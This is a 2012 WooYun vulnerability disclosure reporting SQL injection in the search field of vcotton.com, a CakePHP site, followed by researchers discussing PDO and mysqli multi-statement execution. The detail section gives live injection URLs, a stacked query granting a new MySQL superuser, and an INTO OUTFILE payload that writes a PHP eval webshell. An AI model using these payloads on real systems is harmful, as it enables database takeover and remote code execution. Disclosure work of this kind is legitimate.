当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04218

漏洞标题:维棉等多个CAKEPHP框架站搜索处存在SQL注入攻击

相关厂商:维棉

漏洞作者: 紫梦芊

提交时间:2012-02-05 17:37

修复时间:2012-03-21 17:37

公开时间:2012-03-21 17:37

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:2

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
cakephp多数框架版本架设的应用不带搜索的注入过滤

详细说明:

http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
cakephp多数框架版本架设的应用不带搜索的注入过滤
这里的1=1可以任意换。
然后你可以
%') and 1=1;grant all privileges on *.* to 'zimengqian'@'%' identified by '12345678';#
你可以
%') and 1=(select '<?php eval($_POST[c])?>' into outfile '/data/web_root/abram.intra.vcotton.com/www/current/app/app_controller.php');#(悲催的是无写权限)

漏洞证明:

http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D2+and+1+like%28%27%251

修复方案:

自己在适当位置addslashes 并且 用str_replace给%和_加斜杠
或者修改
core/libs/controller/components/request_handler.php 以适应全部(也许2.0已经修改了这个bug)

版权声明:转载请注明来源 紫梦芊@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:10 (WooYun评价)


漏洞评价:

评论

  1. 2012-02-06 10:38 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    礼品太丰厚了,呵呵.维棉真好~

  2. 2012-02-06 10:44 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这哥们都没认领啊 怎么就有礼物了~

  3. 2012-02-06 10:45 | Jian(64bit) ( 实习白帽子 | Rank:65 漏洞数:15 | 世界上有10种人,懂二进制的和不懂的.)

    @xsser 这个是不是传说中的意淫?

  4. 2012-02-06 11:01 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    直接发的邮件给他们~ "没有限额限制" 这句最给力~

  5. 2012-02-08 16:37 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    作为程序员,对通用框架应用漏洞什么的表示很头疼,因为很难有精力审计和发现潜在的问题......

  6. 2012-02-08 17:09 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @horseluke 理解理解 不过如果有一些第三方的意见就好了

  7. 2012-02-08 19:03 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @horseluke 我是测试~ 嘻嘻~

  8. 2012-03-21 18:21 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @紫梦芊 这个问题的多语句执行是谁导致的 是框架还是数据库?

  9. 2012-03-21 18:42 | GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)

    cakephp框架本身用的PDO,PDO本身就不支持多语句执行吧?楼主怎么做到的?

  10. 2012-03-21 21:28 | xnet ( 实习白帽子 | Rank:99 漏洞数:11 | 工作~~)

    关注多语句

  11. 2012-03-22 10:56 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @xsser mysql数据库本身是支持多语句的,框架由于版本过老,未处理对多语句的多虑,而且早期框架的 security组件很弱,不完善 @GaRY pdo_mysql扩展 只有stmt 设置ATTR_EMULATE_PREPARES = 0时才不支持多语句。

  12. 2012-03-22 11:27 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @GaRY cakephp 2.0之前应该都是直接mysql也可以使用mysqli其中支持事务的innodb可以多条 以及mysqli_multi_query也可以多条详细他们如何照成的我不清楚 我只能清楚他们的版本比较低 毕竟是黑盒

  13. 2012-04-09 14:48 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    WEB安全测试500人群 QQ群号 139836831

  14. 2012-04-10 17:08 | GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)

    @紫梦芊 mysql和mysqli本身在php源代码级别就在connect的时候自动disable掉多语句了php-5.3.8/ext/mysqli/mysqli_nonapi.c /* set some required options */ flags |= CLIENT_MULTI_RESULTS; /* needed for mysql_multi_query() */ /* remove some insecure options */ flags &= ~CLIENT_MULTI_STATEMENTS; /* don't allow multi_queries via connect parameter */php-5.3.8/ext/mysql/php_mysql.c#ifdef CLIENT_MULTI_RESULTS client_flags |= CLIENT_MULTI_RESULTS; /* compatibility with 5.2, see bug#50416 */#endif#ifdef CLIENT_MULTI_STATEMENTS client_flags &= ~CLIENT_MULTI_STATEMENTS; /* don't allow multi_queries via connect parameter */#endif当然他是保留了muil_result,那是因为在调用存储过程的时候可能输出多结果。但是多语句是必定限制掉的。mysqli_multi_query必须是显形调用才行,一般是不会这种写法的。没限制掉的只有PDO了,试了一下,果然支持多语句执行,这可是个大问题。值得专门撰文提一下。

  15. 2012-04-10 17:27 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @GaRY 呵呵 研究得很深

  16. 2012-04-10 17:37 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @GaRY PDO可以多语句??结合之前PDO在字符集设置不当下prepare一样也可宽字节注入问题,看来PDO有许多我们不知道的地方...期待报告

  17. 2012-04-11 00:21 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    外部关联:http://zone.wooyun.org/index.php?do=view&id=50(PDO SQL多语句执行问题)